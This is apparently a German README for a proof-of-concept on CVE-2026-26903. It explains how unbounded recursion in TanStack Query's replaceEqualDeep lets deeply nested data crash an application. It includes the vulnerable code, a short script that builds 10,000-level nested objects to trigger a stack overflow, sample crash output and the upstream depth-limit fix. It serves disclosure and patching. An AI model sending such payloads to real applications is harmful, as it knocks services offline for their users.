
Ein PoC zur Demonstration von CVE-2026-26903
Denial-of-Service durch unbegrenzte Rekursion in der replaceEqualDeep-Funktion von TanStack Query
Ein einzelnes manipuliertes Abfrage-Update mit tief verschachtelten Objekten kann den JavaScript-Thread auf unbestimmte Zeit einfrieren und die Anwendung vollständig reaktionsunfähig machen. Es sind keine Authentifizierung oder besondere Berechtigungen erforderlich.
Diese Schwachstelle wurde in @tanstack/[email protected] über PR #10032 behoben, veröffentlicht am 14. Januar 2026.
| Paket | Betroffen | Behoben |
|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | hängt von verwundbarem query-core ab | 5.90.18+ |
| @tanstack/vue-query | hängt von verwundbarem query-core ab | 5.90.18+ |
| @tanstack/solid-query | hängt von verwundbarem query-core ab | 5.90.18+ |
| @tanstack/svelte-query | hängt von verwundbarem query-core ab | 6.1.7+ |
CVE-2026-26903: Denial of Service durch unbegrenzte Rekursion in replaceEqualDeep (Schweregrad: Mittel)
Die Funktion
replaceEqualDeepin TanStack Query führt einen rekursiven Vergleich verschachtelter Objekte ohne Tiefenbegrenzung durch. Bei der Verarbeitung tief verschachtelter Datenstrukturen kann dies eine unbegrenzte Rekursion auslösen, die zu einem Stack-Überlauf und zum Einfrieren der Anwendung führt.— Vergeben durch MITRE
Die replaceEqualDeep-Funktion von TanStack Query wird intern verwendet, um festzustellen, ob sich Abfragedaten tatsächlich geändert haben. Sie optimiert das erneute Rendern, indem sie Objektreferenzen wann immer möglich beibehält. Die Funktion durchläuft Objekteigenschaften rekursiv, um einen tiefen Gleichheitsvergleich durchzuführen.
Die rekursive Implementierung enthält weder Tiefenbegrenzungen noch eine Zykluserkennung:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep läuftuseQuery-Hooks mit verschachtelten AntwortdatensetQueryData, invalidateQueries oder jede Operation im Abfrage-CacheCVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Option A: Eigenständige HTML-Demo (ohne Abhängigkeiten)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Option B: React-Anwendung (realistisches Szenario)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
Der PoC erzeugt tief verschachtelte Objekte und löst replaceEqualDeep aus, um sie zu verarbeiten:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
Jeder rekursive Aufruf fügt einen neuen Stack-Frame hinzu, bis der Aufrufstapel der JavaScript-Engine erschöpft ist und der Thread einfriert.
Fundort: @tanstack/query-core/src/utils.ts (ungefähr)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
Der Fix (angewendet in TanStack-Query-Commit 269351b) fügt eine Tiefenbegrenzung hinzu, um unbegrenzte Rekursion zu verhindern:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
Wichtigste Änderungen:
depth-Parameter hinzugefügt – mit Standardwert 0, um die Rekursionstiefe zu verfolgenb sofort zurück, wenn depth > 500replaceEqualDeep(aItem, bItem, depth + 1)Dieser einfache Fix verhindert einen Stack-Überlauf, erlaubt aber weiterhin eine angemessene Verschachtelung (500 Ebenen sind für reale Datenstrukturen mehr als ausreichend).
Tiefenbegrenzung in replaceEqualDeep implementieren:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
Oder stattdessen eine iterative Traversierung anstelle von Rekursion verwenden.
Dieser Proof-of-Concept wird ausschließlich für Lehr- und autorisierte Sicherheitstestzwecke bereitgestellt. Verwenden Sie es verantwortungsvoll und nur gegen Anwendungen, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche Genehmigung haben. Die Autoren übernehmen keine Verantwortung für einen Missbrauch dieser Informationen.